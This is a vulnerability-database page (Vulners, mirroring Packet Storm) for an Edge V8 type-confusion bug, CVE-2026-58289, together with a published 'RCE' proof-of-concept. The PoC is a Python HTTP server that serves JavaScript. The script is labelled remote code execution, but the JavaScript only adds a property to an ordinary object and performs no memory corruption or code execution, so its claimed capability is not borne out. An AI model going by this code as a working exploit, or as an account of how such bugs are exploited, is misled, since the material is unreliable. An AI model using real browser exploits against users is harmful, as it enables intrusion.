Lucene search
+L

πŸ“„ Microsoft Edge 150.0.4078.48 Type Confusion

πŸ—“οΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 13Β Views

Type confusion in Edge V8 engine before 150.0.4078.48 allows RCE via malicious webpage.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-58289
3 Jul 202620:35
–attackerkb
circl
Circl
CVE-2026-58289
3 Jul 202622:14
–circl
cve
CVE
CVE-2026-58289
3 Jul 202620:35
–cve
cvelist
Cvelist
CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
3 Jul 202620:35
–cvelist
exploitdb
Exploit DB
Microsoft Edge 150.0.4078.48 - RCE
10 Aug 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-41586
3 Jul 202620:35
–euvd
mscve
Microsoft CVE
Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
3 Jul 202614:00
–mscve
nvd
NVD
CVE-2026-58289
3 Jul 202621:17
–nvd
ptsecurity
Positive Technologies
PT-2026-55635
3 Jul 202600:00
–ptsecurity
vulnrichment
Vulnrichment
CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
3 Jul 202620:35
–vulnrichment
# Exploit Title:        Microsoft Edge  150.0.4078.48 - RCE
    # CVE:                  CVE-2026-58289
    # Date:                 2026-07-10
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://microsoft.com
    # Software Link:        https://www.microsoft.com/en-us/edge
    # Affected:             Microsoft Edge (Chromium-based) before 150.0.4078.48
    # Tested on:            Microsoft Edge 150.0.4070.x (Windows 11)
    # Category:             Remote
    # Platform:             Windows
    # Exploit Type:         Remote Code Execution
    # CVSS:                 9.0 (Critical)
    # Description:          Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage.
    # Fixed in:             Microsoft Edge 150.0.4078.48 (Stable Channel)
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Options:
    #   --port     Custom port (default: 8080)
    #
    # Notes:
    #   β€’ This is a Proof of Concept only. No public full exploit is available yet.
    #   β€’ For educational and research purposes.
    #   β€’ Requires vulnerable version of Microsoft Edge.
    #
    # How to Use
    #
    # Step 1:
    #   Run the Python server: python3 exploit.py
    #
    # Step 2:
    #   Open http://localhost:8080 in a vulnerable version of Microsoft Edge.
    #
    # Step 3:
    #   Monitor the browser process for crashes or code execution.
    
    def banner():
        print(r"""
    β•”β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•—
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
    β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•
            ╔═╗ Banyamer Security ╔═╝
    """)
    
    import http.server
    import socketserver
    import sys
    
    banner()
    
    HTML_CONTENT = """<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>CVE-2026-58289 PoC</title>
    </head>
    <body>
        <h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1>
        <script>
            function triggerTypeConfusion() {
                let obj1 = { a: 1, b: 2 };
                for (let i = 0; i < 10000; i++) {
                    dummyFunc(obj1);
                }
                let arr = new Array(0x100);
                let confused = obj1;
                confused.something = 0x41414141;
                console.log("[+] Type confusion attempted.");
            }
            function dummyFunc(o) {
                return o.a + o.b;
            }
            window.onload = function() {
                try {
                    triggerTypeConfusion();
                } catch(e) {
                    console.error("Error:", e);
                }
            };
        </script>
    </body>
    </html>
    """
    
    class Handler(http.server.SimpleHTTPRequestHandler):
        def do_GET(self):
            if self.path in ['/poc.html', '/']:
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(HTML_CONTENT.encode())
            else:
                self.send_response(404)
                self.end_headers()
    
    port = 8080
    if len(sys.argv) > 1:
        try:
            port = int(sys.argv[1])
        except:
            pass
    
    print(f"[+] Starting PoC server on http://localhost:{port}")
    print("[+] Open the URL in vulnerable Microsoft Edge")
    
    try:
        with socketserver.TCPServer(("", port), Handler) as httpd:
            httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[-] Server stopped.")
    except Exception as e:
        print(f"[-] Error: {e}")

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.3 - 9
EPSS0.01766
SSVC
13